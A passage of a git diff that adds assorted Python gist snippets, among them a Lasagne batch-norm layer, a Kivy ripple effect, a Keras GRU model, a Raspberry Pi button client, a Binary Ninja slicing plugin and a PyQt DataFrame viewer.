+    compare_vec = compare_vec.groupby([],{'sumxy':gl.aggregate.SUM('xy'), 'sumxx':gl.aggregate.SUM('xx'),'sumyy':gl.aggregate.SUM('yy')})
+    return compare_vec[0]['sumxy']/(math.sqrt(compare_vec[0]['sumxx']*compare_vec[0]['sumyy']))
+
+similarity_all = {}
+
+for i in range(0,len(text_files)-1):
+    similarity = {}
+    for j in range(i+1,len(text_files)):
+        similarity[text_files[j]] = get_cosine_similarity(text_files[i],text_files[j])
+    similarity_all[text_files[i]] = similarity
+
+
+similarity_frames={}
+for key in similarity_all.keys():
+    similarity_frames[key]=gl.SFrame({'file2':similarity_all[key].keys(), 'similarity':similarity_all[key].values()})
+
+for key in similarity_frames.keys():
+    similarity_frames[key]['file1'] = key
+
+similarity_keys = similarity_frames.keys()
+for i in range(0,len(similarity_keys)):
+    if i == 0:
+        all_similarity = similarity_frames[similarity_keys[i]]
+    else:
+        all_similarity = all_similarity.append(similarity_frames[similarity_keys[i]])
+
+
+data_frame_similarity = all_similarity.to_dataframe()
+
diff --git a/hard-gists/f1a6bd3c8585c400c190/._snippet.py b/hard-gists/f1a6bd3c8585c400c190/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f1a6bd3c8585c400c190/._snippet.py differ
diff --git a/hard-gists/f1a6bd3c8585c400c190/snippet.py b/hard-gists/f1a6bd3c8585c400c190/snippet.py
new file mode 100644
index 00000000..3186bbc4
--- /dev/null
+++ b/hard-gists/f1a6bd3c8585c400c190/snippet.py
@@ -0,0 +1,113 @@
+# -*- coding: utf-8 -*-
+
+"""
+Preliminary implementation of batch normalization for Lasagne.
+Does not include a way to properly compute the normalization factors over the
+full training set for testing, but can be used as a drop-in for training and
+validation.
+
+Author: Jan Schlüter
+"""
+
+import numpy as np
+import lasagne
+import theano
+import theano.tensor as T
+
+class BatchNormLayer(lasagne.layers.Layer):
+
+    def __init__(self, incoming, axes=None, epsilon=0.01, alpha=0.5,
+            nonlinearity=None, **kwargs):
+        """
+        Instantiates a layer performing batch normalization of its inputs,
+        following Ioffe et al. (http://arxiv.org/abs/1502.03167).
+        
+        @param incoming: `Layer` instance or expected input shape
+        @param axes: int or tuple of int denoting the axes to normalize over;
+            defaults to all axes except for the second if omitted (this will
+            do the correct thing for dense layers and convolutional layers)
+        @param epsilon: small constant added to the standard deviation before
+            dividing by it, to avoid numeric problems
+        @param alpha: coefficient for the exponential moving average of
+            batch-wise means and standard deviations computed during training;
+            the larger, the more it will depend on the last batches seen
+        @param nonlinearity: nonlinearity to apply to the output (optional)
+        """
+        super(BatchNormLayer, self).__init__(incoming, **kwargs)
+        if axes is None:
+            # default: normalize over all but the second axis
+            axes = (0,) + tuple(range(2, len(self.input_shape)))
+        elif isinstance(axes, int):
+            axes = (axes,)
+        self.axes = axes
+        self.epsilon = epsilon
+        self.alpha = alpha
+        if nonlinearity is None:
+            nonlinearity = lasagne.nonlinearities.identity
+        self.nonlinearity = nonlinearity
+        shape = list(self.input_shape)
+        broadcast = [False] * len(shape)
+        for axis in self.axes:
+            shape[axis] = 1
+            broadcast[axis] = True
+        if any(size is None for size in shape):
+            raise ValueError("BatchNormLayer needs specified input sizes for "
+                             "all dimensions/axes not normalized over.")
+        dtype = theano.config.floatX
+        self.mean = self.add_param(lasagne.init.Constant(0), shape, 'mean',
+                                   trainable=False, regularizable=False)
+        self.std = self.add_param(lasagne.init.Constant(1), shape, 'std',
+                                  trainable=False, regularizable=False)
+        self.beta = self.add_param(lasagne.init.Constant(0), shape, 'beta',
+                                   trainable=True, regularizable=True)
+        self.gamma = self.add_param(lasagne.init.Constant(1), shape, 'gamma',
+                                    trainable=True, regularizable=False)
+
+    def get_output_for(self, input, deterministic=False, **kwargs):
+        if deterministic:
+            # use stored mean and std
+            mean = self.mean
+            std = self.std
+        else:
+            # use this batch's mean and std
+            mean = input.mean(self.axes, keepdims=True)
+            std = input.std(self.axes, keepdims=True)
+            # and update the stored mean and std:
+            # we create (memory-aliased) clones of the stored mean and std
+            running_mean = theano.clone(self.mean, share_inputs=False)
+            running_std = theano.clone(self.std, share_inputs=False)
+            # set a default update for them
+            running_mean.default_update = ((1 - self.alpha) * running_mean +
+                                           self.alpha * mean)
+            running_std.default_update = ((1 - self.alpha) * running_std +
+                                          self.alpha * std)
+            # and include them in the graph so their default updates will be
+            # applied (although the expressions will be optimized away later)
+            mean += 0 * running_mean
+            std += 0 * running_std
+        std += self.epsilon
+        mean = T.addbroadcast(mean, *self.axes)
+        std = T.addbroadcast(std, *self.axes)
+        beta = T.addbroadcast(self.beta, *self.axes)
+        gamma = T.addbroadcast(self.gamma, *self.axes)
+        normalized = (input - mean) * (gamma / std) + beta
+        return self.nonlinearity(normalized)
+
+def batch_norm(layer):
+    """
+    Convenience function to apply batch normalization to a given layer's output.
+    Will steal the layer's nonlinearity if there is one (effectively introducing
+    the normalization right before the nonlinearity), and will remove the
+    layer's bias if there is one (because it would be redundant).
+
+    @param layer: The `Layer` instance to apply the normalization to; note that
+        it will be irreversibly modified as specified above
+    @return: A `BatchNormLayer` instance stacked on the given `layer`
+    """
+    nonlinearity = getattr(layer, 'nonlinearity', None)
+    if nonlinearity is not None:
+        layer.nonlinearity = lasagne.nonlinearities.identity
+    if hasattr(layer, 'b'):
+        del layer.params[layer.b]
+        layer.b = None
+    return BatchNormLayer(layer, nonlinearity=nonlinearity)
diff --git a/hard-gists/f1c94490e636a4ed54b4/._snippet.py b/hard-gists/f1c94490e636a4ed54b4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f1c94490e636a4ed54b4/._snippet.py differ
diff --git a/hard-gists/f1c94490e636a4ed54b4/snippet.py b/hard-gists/f1c94490e636a4ed54b4/snippet.py
new file mode 100644
index 00000000..bee240b7
--- /dev/null
+++ b/hard-gists/f1c94490e636a4ed54b4/snippet.py
@@ -0,0 +1,141 @@
+from kivy.animation import Animation
+from kivy.graphics import CanvasBase
+from kivy.graphics import Color
+from kivy.graphics import Ellipse
+from kivy.graphics import ScissorPush
+from kivy.graphics import ScissorPop
+from kivy.properties import ListProperty
+from kivy.properties import NumericProperty
+from kivy.uix.relativelayout import RelativeLayout
+
+
+class TouchRippleBehavior(object):
+    """Touch ripple behavior.
+
+    Supposed to be used as mixin on widget classes.
+
+    Ripple behavior does not trigger automatically, concrete implementation
+    needs to call ``ripple_show`` respective ``ripple_fade`` manually.
+
+    Example::
+
+        class RippleButton(TouchRippleBehavior, ButtonBehavior, Label):
+
+            def __init__(self, **kwargs):
+                super(RippleButton, self).__init__(**kwargs)
+
+            def on_touch_down(self, touch):
+                collide_point = self.collide_point(touch.x, touch.y)
+                if collide_point and self.disabled:
+                    return True
+                elif collide_point:
+                    self.ripple_show(touch)
+                return super(RippleButton, self).on_touch_down(touch)
+
+            def on_touch_up(self, touch):
+                if touch.grab_current is self:
+                    self.ripple_fade()
+                    if self.disabled:
+                        return True
+                return super(RippleButton, self).on_touch_up(touch)
+    """
+    ripple_rad_default = 10
+    ripple_duration_in = .5
+    ripple_duration_out = .2
+    ripple_fade_from_alpha = .5
+    ripple_fade_to_alpha = .8
+    ripple_scale = 2.
+    ripple_func_in = 'in_cubic'
+    ripple_func_out = 'out_quad'
+
+    ripple_rad = NumericProperty(ripple_rad_default)
+    ripple_pos = ListProperty([0, 0])
+    ripple_color = ListProperty((1., 1., 1., ripple_fade_from_alpha))
+
+    def __init__(self, **kwargs):
+        super(TouchRippleBehavior, self).__init__(**kwargs)
+        self.ripple_pane = CanvasBase()
+        self.canvas.add(self.ripple_pane)
+        self.bind(
+            ripple_color=self._ripple_set_color,
+            ripple_pos=self._ripple_set_ellipse,
+            ripple_rad=self._ripple_set_ellipse
+        )
+        self.ripple_ellipse = None
+        self.ripple_col_instruction = None
+
+    def ripple_show(self, touch):
+        """Begin ripple animation on current widget.
+
+        Expects touch event as argument.
+        """
+        Animation.cancel_all(self, 'ripple_rad', 'ripple_color')
+        self._ripple_anim_complete(self, self)
+        x, y = self.to_window(*self.pos)
+        width, height = self.size
+        if isinstance(self, RelativeLayout):
+            self.ripple_pos = ripple_pos = (touch.x - x, touch.y - y)
+        else:
+            self.ripple_pos = ripple_pos = (touch.x, touch.y)
+        rc = self.ripple_color
+        ripple_rad = self.ripple_rad
+        self.ripple_color = [rc[0], rc[1], rc[2], self.ripple_fade_from_alpha]
+        with self.ripple_pane:
+            # In python 3 the int cast will be unnecessary
+            ScissorPush(
+                x=int(round(x)),
+                y=int(round(y)),
+                width=int(round(width)),
+                height=int(round(height))
+            )
+            self.ripple_col_instruction = Color(rgba=self.ripple_color)
+            self.ripple_ellipse = Ellipse(
+                size=(ripple_rad, ripple_rad),
+                pos=(
+                    ripple_pos[0] - ripple_rad / 2.,
+                    ripple_pos[1] - ripple_rad / 2.
+                )
+            )
+            ScissorPop()
+        anim = Animation(
+            ripple_rad=max(width, height) * self.ripple_scale,
+            t=self.ripple_func_in,
+            ripple_color=[rc[0], rc[1], rc[2], self.ripple_fade_to_alpha],
+            duration=self.ripple_duration_in
+        )
+        anim.start(self)
+
+    def ripple_fade(self):
+        """Finish ripple animation on current widget.
+        """
+        Animation.cancel_all(self, 'ripple_rad', 'ripple_color')
+        width, height = self.size
+        rc = self.ripple_color
+        duration = self.ripple_duration_out
+        anim = Animation(
+            ripple_rad=max(width, height) * self.ripple_scale,
+            ripple_color=[rc[0], rc[1], rc[2], 0.],
+            t=self.ripple_func_out,
+            duration=duration
+        )
+        anim.bind(on_complete=self._ripple_anim_complete)
+        anim.start(self)
+
+    def _ripple_set_ellipse(self, instance, value):
+        ellipse = self.ripple_ellipse
+        if not ellipse:
+            return
+        ripple_pos = self.ripple_pos
+        ripple_rad = self.ripple_rad
+        ellipse.size = (ripple_rad, ripple_rad)
+        ellipse.pos = (
+            ripple_pos[0] - ripple_rad / 2.,
+            ripple_pos[1] - ripple_rad / 2.
+        )
+
+    def _ripple_set_color(self, instance, value):
+        self.ripple_col_instruction.rgba = value
+
+    def _ripple_anim_complete(self, anim, instance):
+        self.ripple_rad = self.ripple_rad_default
+        self.ripple_pane.clear()
diff --git a/hard-gists/f1eca6cb0061cde701c2/._snippet.py b/hard-gists/f1eca6cb0061cde701c2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f1eca6cb0061cde701c2/._snippet.py differ
diff --git a/hard-gists/f1eca6cb0061cde701c2/snippet.py b/hard-gists/f1eca6cb0061cde701c2/snippet.py
new file mode 100644
index 00000000..40c76f41
--- /dev/null
+++ b/hard-gists/f1eca6cb0061cde701c2/snippet.py
@@ -0,0 +1,44 @@
+""" From:  http://danielhnyk.cz/predicting-sequences-vectors-keras-using-rnn-lstm/ """
+from keras.models import Sequential  
+from keras.layers.core import TimeDistributedDense, Activation, Dropout  
+from keras.layers.recurrent import GRU
+import numpy as np
+
+def _load_data(data, steps = 40):  
+    docX, docY = [], []
+    for i in range(0, data.shape[0]/steps-1):
+        docX.append(data[i*steps:(i+1)*steps,:])
+        docY.append(data[(i*steps+1):((i+1)*steps+1),:])
+    alsX = np.array(docX)
+    alsY = np.array(docY)
+    return alsX, alsY
+
+def train_test_split(data, test_size=0.15):  
+    #    This just splits data to training and testing parts
+    X,Y = _load_data(data)
+    ntrn = round(X.shape[0] * (1 - test_size))
+    perms = np.random.permutation(X.shape[0])
+    X_train, Y_train = X.take(perms[0:ntrn],axis=0), Y.take(perms[0:ntrn],axis=0)
+    X_test, Y_test = X.take(perms[ntrn:],axis=0),Y.take(perms[ntrn:],axis=0)
+    return (X_train, Y_train), (X_test, Y_test) 
+
+np.random.seed(0)  # For reproducability
+data = np.genfromtxt('closingAdjLog.csv', delimiter=',')
+(X_train, y_train), (X_test, y_test) = train_test_split(np.flipud(data))  # retrieve data
+print "Data loaded."
+
+in_out_neurons = 20  
+hidden_neurons = 200
+
+model = Sequential()  
+model.add(GRU(hidden_neurons, input_dim=in_out_neurons, return_sequences=True))
+model.add(Dropout(0.2))
+model.add(TimeDistributedDense(in_out_neurons))  
+model.add(Activation("linear"))  
+model.compile(loss="mean_squared_error", optimizer="rmsprop") 
+print "Model compiled."
+
+# and now train the model. 
+model.fit(X_train, y_train, batch_size=30, nb_epoch=200, validation_split=0.1)  
+predicted = model.predict(X_test)  
+print np.sqrt(((predicted - y_test) ** 2).mean(axis=0)).mean()  # Printing RMSE 
\ No newline at end of file
diff --git a/hard-gists/f234879ceb3a31e8ec54c601844ed706/._snippet.py b/hard-gists/f234879ceb3a31e8ec54c601844ed706/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f234879ceb3a31e8ec54c601844ed706/._snippet.py differ
diff --git a/hard-gists/f234879ceb3a31e8ec54c601844ed706/snippet.py b/hard-gists/f234879ceb3a31e8ec54c601844ed706/snippet.py
new file mode 100644
index 00000000..22668a98
--- /dev/null
+++ b/hard-gists/f234879ceb3a31e8ec54c601844ed706/snippet.py
@@ -0,0 +1,29 @@
+import requests
+import time
+import RPi.GPIO as GPIO
+
+url = 'http://nightlight/' # I map this to my internal DNS hosting the node app
+gpio_pin=18 # The GPIO pin the button is attached to
+longpress_threshold=5 # If button is held this length of time, tells system to leave light on
+
+GPIO.setmode(GPIO.BCM)
+GPIO.setup(gpio_pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)
+
+while True:
+    time.sleep(0.2)
+
+    if GPIO.input(gpio_pin) == False: # Listen for the press, the loop until it steps
+        print "Started press"
+        pressed_time=time.time()
+        while GPIO.input(gpio_pin) == False:
+            time.sleep(0.2)
+
+        pressed_time=time.time()-pressed_time
+        print "Button pressed %d, POSTing to nightlight server" % pressed_time
+        if pressed_time<longpress_threshold:
+            data = dict(light=2, cmd="toggle-with-timer")
+        else:
+            data = dict(light=2, cmd="toggle-keep-on")
+
+        r = requests.post(url, data=data, allow_redirects=True)
+        print r.content
\ No newline at end of file
diff --git a/hard-gists/f2608cbe54403edb0b13/._snippet.py b/hard-gists/f2608cbe54403edb0b13/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f2608cbe54403edb0b13/._snippet.py differ
diff --git a/hard-gists/f2608cbe54403edb0b13/snippet.py b/hard-gists/f2608cbe54403edb0b13/snippet.py
new file mode 100644
index 00000000..0f2a1a4b
--- /dev/null
+++ b/hard-gists/f2608cbe54403edb0b13/snippet.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python3
+
+import concurrent.futures.thread
+import sys
+import time
+from concurrent.futures import ThreadPoolExecutor, as_completed
+
+
+def remove_file(path):
+    print('Removing file %s' % path)
+    time.sleep(10)  # Pretending that I'm removing the file...
+    print('%s is removed' % path)
+
+
+not_graceful = sys.argv[1:] and sys.argv[1] == '--not-graceful'
+if not_graceful:
+    print('I will _not_ be shut down gracefully...')
+else:
+    print('I will be shut down gracefully... (default behavior)')
+
+
+with ThreadPoolExecutor(1) as executor:
+    futures = [executor.submit(remove_file, path) for path in 'abcd']
+    try:
+        for future in as_completed(futures):
+            future.result()
+    except KeyboardInterrupt:
+        if not_graceful:
+            executor._threads.clear()
+            concurrent.futures.thread._threads_queues.clear()
+        raise
\ No newline at end of file
diff --git a/hard-gists/f27efd1ddcbf57be0d14031a5e692015/._snippet.py b/hard-gists/f27efd1ddcbf57be0d14031a5e692015/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f27efd1ddcbf57be0d14031a5e692015/._snippet.py differ
diff --git a/hard-gists/f27efd1ddcbf57be0d14031a5e692015/snippet.py b/hard-gists/f27efd1ddcbf57be0d14031a5e692015/snippet.py
new file mode 100644
index 00000000..ba614bdb
--- /dev/null
+++ b/hard-gists/f27efd1ddcbf57be0d14031a5e692015/snippet.py
@@ -0,0 +1,132 @@
+# OFFICIAL REPO: https://github.com/pudquick/nibbler
+# (this gist will be preserved for historical purposes)
+
+# demo video here: 
+# https://www.dropbox.com/s/k0bpekd13muknmz/nibbler%20-%20by%20frogor.mp4?dl=0
+
+# Example script using nibbler:
+
+# from nibbler import *
+# 
+# n = Nibbler('/Users/frogor/Desktop/sweet.nib')
+# 
+# def test():
+#     print "hi (no quit)"
+# 
+# def test2():
+#     print "hi (politely quit)"
+#     n.quit()
+# 
+# n.attach(test, 'pushy')
+# n.attach(test2, 'less_pushy')
+# 
+# n.hidden = True
+# n.run()
+
+# Use the "Identifier" property of your control in Interface Builder and give your controls a name
+# Then use the 'attach' method on your Nibbler to link the control to a python function
+
+from AppKit import NSNib, NSApp, NSObject, NSLog, NSApplication, NSBundle
+import objc, os.path, types
+
+from ctypes import CDLL, Structure, POINTER, c_uint32, byref
+from ctypes.util import find_library
+class ProcessSerialNumber(Structure):
+    _fields_    = [('highLongOfPSN', c_uint32),
+                   ('lowLongOfPSN',  c_uint32)]
+kCurrentProcess = 2
+kProcessTransformToForegroundApplication = 1
+kProcessTransformToUIElementAppication   = 4
+ApplicationServices           = CDLL(find_library('ApplicationServices'))
+TransformProcessType          = ApplicationServices.TransformProcessType
+TransformProcessType.argtypes = [POINTER(ProcessSerialNumber), c_uint32]
+
+
+def views_recursive(view_obj):
+    yield view_obj
+    for x in view_obj.subviews():
+        for y in views_recursive(x):
+            yield y
+
+def views_dict(nib_obj):
+    # Find the NSWindow instance at the top level
+    all_windows = [x for x in nib_obj if x.className() == 'NSWindow']
+    win = all_windows[0]
+    # Now find all the views within the window where the identifier is defined
+    top_view = win.contentView()
+    v_dict = dict()
+    for v in views_recursive(top_view):
+        ident = v.identifier()
+        if ident is not None:
+            if not ident.startswith('_'):
+                # Someone has customized it, remember it
+                v_dict[ident] = v
+    return v_dict
+
+def quit_app():
+    NSApplication.sharedApplication().terminate_(None)
+
+class genericController(NSObject):
+    def setTheThing_(self, f_obj):
+        self.f = f_obj
+    def doTheThing_(self, sender):
+        if hasattr(self, 'f'):
+            self.f()
+
+def func_to_controller_selector(f_obj):
+    o = genericController.alloc().init()
+    o.setTheThing_(f_obj)
+    return o
+
+class Nibbler(object):
+    def __init__(self, path):
+        bundle = NSBundle.mainBundle()
+        info = bundle.localizedInfoDictionary() or bundle.infoDictionary()
+        # Did you know you can override parts of infoDictionary (Info.plist, after loading) even though Apple says it's read-only?
+        info['LSUIElement'] = '1'
+        # Initialize our shared application instance
+        NSApplication.sharedApplication()
+        # Two possibilities here
+        # Either the path is a directory and we really want the file inside it
+        # or the path is just a real .nib file
+        if os.path.isdir(path):
+            # Ok, so they just saved it from Xcode, not their fault
+            # let's fix the path
+            path = os.path.join(path, 'keyedobjects.nib')
+        with open(path, 'rb') as f:
+            # get nib bytes
+            d = buffer(f.read())
+        n_obj = NSNib.alloc().initWithNibData_bundle_(d, None)
+        placeholder_obj = NSObject.alloc().init()
+        result, n = n_obj.instantiateWithOwner_topLevelObjects_(placeholder_obj, None)
+        self.hidden = True
+        self.nib_contents = n
+        self.win = [x for x in self.nib_contents if x.className() == 'NSWindow'][0]
+        self.views = views_dict(self.nib_contents)
+        self._attached = []
+    def attach(self, func, identifier_label):
+        # look up the object with the identifer provided
+        o = self.views[identifier_label]
+        # get the classname of the object and handle appropriately
+        o_class = o.className()
+        if o_class == 'NSButton':
+            # Wow, we actually know how to do this one
+            temp = func_to_controller_selector(func)
+            # hold onto it
+            self._attached.append(temp)
+            o.setTarget_(temp)
+            # button.setAction_(objc.selector(controller.buttonClicked_, signature='v@:'))
+            o.setAction_(temp.doTheThing_)
+    def run(self):
+        if self.hidden:
+            psn    = ProcessSerialNumber(0, kCurrentProcess)
+            ApplicationServices.TransformProcessType(psn, kProcessTransformToUIElementAppication)
+        else:
+            psn    = ProcessSerialNumber(0, kCurrentProcess)
+            ApplicationServices.TransformProcessType(psn, kProcessTransformToForegroundApplication)
+        self.win.makeKeyAndOrderFront_(None)
+        self.win.display()
+        NSApp.activateIgnoringOtherApps_(True)
+        NSApp.run()
+    def quit(self):
+        NSApplication.sharedApplication().terminate_(None)
diff --git a/hard-gists/f28b7a2d3356a0ed39823aaea66b50d0/._snippet.py b/hard-gists/f28b7a2d3356a0ed39823aaea66b50d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f28b7a2d3356a0ed39823aaea66b50d0/._snippet.py differ
diff --git a/hard-gists/f28b7a2d3356a0ed39823aaea66b50d0/snippet.py b/hard-gists/f28b7a2d3356a0ed39823aaea66b50d0/snippet.py
new file mode 100644
index 00000000..51349988
--- /dev/null
+++ b/hard-gists/f28b7a2d3356a0ed39823aaea66b50d0/snippet.py
@@ -0,0 +1,138 @@
+from binaryninja import (
+    SSAVariable, HighlightStandardColor, PluginCommand
+)
+
+
+def do_backward_slice(instruction, function):
+    # switch to SSA form (this does nothing if it's already SSA).
+    instruction_queue = set([instruction.ssa_form.instr_index])
+    visited_instructions = set()
+
+    variables = set()
+
+    while instruction_queue:
+        visit_index = instruction_queue.pop()
+
+        if visit_index is None or visit_index in visited_instructions:
+            continue
+
+        instruction_to_visit = function[visit_index]
+
+        if instruction_to_visit is None:
+            continue
+
+        for new_var in instruction_to_visit.vars_read:
+            instruction_queue.add(
+                function.get_ssa_var_definition(
+                    new_var
+                )
+            )
+
+        variables.update(
+            [(var.var.identifier, var.version)
+                for var in instruction_to_visit.vars_read]
+        )
+
+        visited_instructions.add(visit_index)
+
+    return visited_instructions
+
+
+def do_forward_slice(instruction, function):
+    # if the first operand is not an SSAVariable then we won't slice it.
+    if not isinstance(instruction.ssa_form.operands[0], SSAVariable):
+        return set()
+
+    variables = set()
+
+    operand = instruction.ssa_form.operands[0]
+
+    variables.add((operand.var.identifier, operand.version))
+
+    instruction_queue = set()
+
+    instruction_queue.update(
+        function.ssa_form.get_ssa_var_uses(
+            operand
+        )
+    )
+
+    visited_instructions = set()
+    visited_instructions.add(instruction.ssa_form.instr_index)
+
+    while instruction_queue:
+        visit_index = instruction_queue.pop()
+
+        if visit_index is None or visit_index in visited_instructions:
+            continue
+
+        instruction_to_visit = function[visit_index]
+
+        if instruction_to_visit is None:
+            continue
+
+        for new_var in instruction_to_visit.vars_written:
+            instruction_queue.update(
+                    function.get_ssa_var_uses(
+                        new_var
+                    )
+                )
+
+            variables.add(
+                (new_var.var.identifier, new_var.version)
+            )
+
+        visited_instructions.add(visit_index)
+
+    return visited_instructions
+
+
+def program_slice(instruction, direction, color=None):
+    function = instruction.function.ssa_form
+    bv = function.source_function.view
+
+    if color is None:
+        color = HighlightStandardColor.BlueHighlightColor
+
+    if direction == 'backward':
+        visited_instructions = do_backward_slice(instruction, function)
+    if direction == 'forward':
+        visited_instructions = do_forward_slice(instruction, function)
+
+    bv.begin_undo_actions()
+
+    for visited_instruction in visited_instructions:
+        function.source_function.set_user_instr_highlight(
+            function[visited_instruction].address,
+            color
+        )
+
+    bv.commit_undo_actions()
+
+
+def backward_slice(bv, addr):
+    function = bv.get_basic_blocks_at(addr)[0].function
+
+    instruction = function.get_low_level_il_at(addr).mapped_medium_level_il
+
+    program_slice(instruction, 'backward')
+
+
+def forward_slice(bv, addr):
+    function = bv.get_basic_blocks_at(addr)[0].function
+
+    instruction = function.get_low_level_il_at(addr).mapped_medium_level_il
+
+    program_slice(instruction, 'forward')
+
+
+PluginCommand.register_for_address(
+    'Slice backwards',
+    'Slice variable backwards from this point',
+    backward_slice)
+
+PluginCommand.register_for_address(
+    'Slice forward',
+    'Slice variable forward from this point',
+    forward_slice
+)
\ No newline at end of file
diff --git a/hard-gists/f2bb0cc876828b54f2ed/._snippet.py b/hard-gists/f2bb0cc876828b54f2ed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f2bb0cc876828b54f2ed/._snippet.py differ
diff --git a/hard-gists/f2bb0cc876828b54f2ed/snippet.py b/hard-gists/f2bb0cc876828b54f2ed/snippet.py
new file mode 100644
index 00000000..b32bdc9d
--- /dev/null
+++ b/hard-gists/f2bb0cc876828b54f2ed/snippet.py
@@ -0,0 +1,900 @@
+"""
+DataFrameTable
+==============
+
+Quick and Dirty Qt app to view pandas DataFrames.  Includes sorting and
+filterting.
+
+Based on qtpandas in pandas sandbox module, by Jev Kuznetsov
+
+Usage:
+ - To quickly display a dataframe, just use DataFrameApp(df)
+ >>> import sys, pandas
+ >>> from DataFrameGUI import DataFrameApp
+ >>> df = pandas.DataFrame([1,2,3])
+ >>> root = QtGui.QApplication(sys.argv)
+ >>> app = DataFrameApp(df)
+ >>> app.show()
+ >>> root.exec_()
+
+ - To build your own widget, subclass DataFrameWidget
+
+"""
+
+import sip
+sip.setapi('QString', 2)
+sip.setapi('QVariant', 2)
+
+
+import pandas
+import operator
+from PyQt4 import QtGui, QtCore
+import sys
+
+from functools import partial
+
+class WidgetedCell(object):
+    """Set as the value of an element in a pandas DataFrame to create a widget
+    NOTE: You may also want your widget to implement the getWidgetedCellState and setWidgetedCellState
+    methods so that interactions with the controlls persist.
+    """
+    def __init__(self, widget):
+        """Create a widget in the DataFrameWidget's cell
+        Args:
+            widget (subclass of QWidget)
+                Widget to display in cell.  The constructor of `widget` must
+                accept only one argument, the parent widget to
+                build `widget` inside of
+        """
+        self.widget = widget
+
+    def __repr__(self):
+        return repr(self.widget)
+
+class DataFrameModel(QtCore.QAbstractTableModel):
+    """ data model for a DataFrame class """
+
+    RawDataRole = 64    # Custom Role, http://qt-project.org/doc/qt-4.8/qt.html#ItemDataRole-enum
+    RawIndexRole = 65
+
+
+    def __init__(self):
+        super(DataFrameModel, self).__init__()
+        self._df = pandas.DataFrame()
+        self._orig_df = pandas.DataFrame()
+        self._pre_dyn_filter_df = None
+        self._resort = lambda : None # Null resort functon
+
+
+    def setDataFrame(self, dataFrame):
+        """Set or change pandas DataFrame to show"""
+        self.df = dataFrame
+        self._orig_df = dataFrame.copy()
+        self._pre_dyn_filter_df = None # Clear dynamic filter
+
+    @property
+    def df(self):
+        return self._df
+    @df.setter
+    def df(self, dataFrame):
+        """Setter should only be used internal to DataFrameModel.  Others should use setDataFrame()"""
+        self.modelAboutToBeReset.emit()
+        self._df = dataFrame
+        self.modelReset.emit()
+
+    @QtCore.pyqtSlot()
+    def beginDynamicFilter(self):
+        """Effects of using the "filter" function will not become permanent until endDynamicFilter called"""
+        if self._pre_dyn_filter_df is None:
+            print "NEW DYNAMIC FILTER MODEL"
+            self._pre_dyn_filter_df = self.df.copy()
+        else:
+            # Already dynamically filtering, so don't override that
+            print "SAME DYNAMIC FILTER MODEL"
+            pass
+
+    @QtCore.pyqtSlot()
+    def endDynamicFilter(self):
+        """Makes permanent the effects of the dynamic filter"""
+        print " * * * RESETING DYNAMIC"
+        self._pre_dyn_filter_df = None
+
+    @QtCore.pyqtSlot()
+    def cancelDynamicFilter(self):
+        """Cancel the dynamic filter"""
+        self.df = self._pre_dyn_filter_df.copy()
+        self._pre_dyn_filter_df = None
+
+
+    #------------- table display functions -----------------
+    def headerData(self, section, orientation, role=QtCore.Qt.DisplayRole):
+        if role != QtCore.Qt.DisplayRole:
+            return None
+
+        if orientation == QtCore.Qt.Horizontal:
+            try:
+                return '%s' % self.df.columns.tolist()[section]
+            except (IndexError, ):
+                return QtCore.QVariant()
+        elif orientation == QtCore.Qt.Vertical:
+            try:
+                return '%s' % self.df.index.tolist()[section]
+            except (IndexError, ):
+                return QtCore.QVariant()
+
+    def data(self, index, role=QtCore.Qt.DisplayRole):
+        #if role == QtCore.Qt.BackgroundRole:
+        #    return QtGui.QColor(255,255,204)
+        if role in (QtCore.Qt.DisplayRole, DataFrameModel.RawDataRole, DataFrameModel.RawIndexRole):
+            if not index.isValid():
+                return QtCore.QVariant()
+
+            if role == DataFrameModel.RawIndexRole:
+                r = self.df.index[index.row()]
+                c = self.df.columns[index.column()]
+                return (r, c)
+            data = self.df.iloc[index.row(), index.column()]
+
+
+            if role == DataFrameModel.RawDataRole:
+                return data
+
+            if pandas.isnull(data):
+                return QtCore.QVariant()
+            return '%s' % data
+        else:
+            return None
+
+    def flags(self, index):
+        defaults = super(DataFrameModel, self).flags(index)
+        data = self.data(index, DataFrameModel.RawDataRole)
+        if isinstance(data, WidgetedCell):
+            return defaults | QtCore.Qt.ItemIsEditable
+        return defaults
+
+    def __setData(self, index, value, role):
+        row = self.df.index[index.row()]
+        col = self.df.columns[index.column()]
+        if hasattr(value, 'toPyObject'):
+            # PyQt4 gets a QVariant
+            value = value.toPyObject()
+        else:
+            # PySide gets an unicode
+            dtype = self.df[col].dtype
+            if dtype != object:
+                value = None if value == '' else dtype.type(value)
+        self.df.set_value(row, col, value)
+        self.dataChanged.emit()
+        return True
+
+    def rowCount(self, index=QtCore.QModelIndex()):
+        return self.df.shape[0]
+
+    def columnCount(self, index=QtCore.QModelIndex()):
+        return self.df.shape[1]
+
+    def sort(self, col_ix, order = QtCore.Qt.AscendingOrder):
+        if col_ix >= self.df.shape[1]:
+            # Column out of bounds
+            return
+
+        self.layoutAboutToBeChanged.emit()
+        ascending = True if order == QtCore.Qt.AscendingOrder else False
+        self.df = self.df.sort(self.df.columns[col_ix], ascending=ascending)
+        self.layoutChanged.emit()
+
+        # Set sorter to current sort (for future filtering)
+        self._resort = partial(self.sort, col_ix, order)
+
+    def filter(self, col_ix, needle):
+        """Filter DataFrame view.  Case Insenstive.
+        Fitlers the DataFrame view to include only rows who's value in col
+        contains the needle. EX: a needle of "Ab" will show rows with
+        "absolute" and "REABSOLVE".
+
+        Args:
+            col_ix (int)
+                Column index in df to filter
+            needle (str)
+                String to search df_view for
+        """
+
+        if self._pre_dyn_filter_df is not None:
+            df = self._pre_dyn_filter_df.copy()
+        else:
+            df = self.df
+        col = df.columns[col_ix]
+        # Create lowercase string version of column as series
+        s_lower = df[col].astype('str').str.lower()
+
+        # Make needle lower case too
+        needle = str(needle).lower()
+
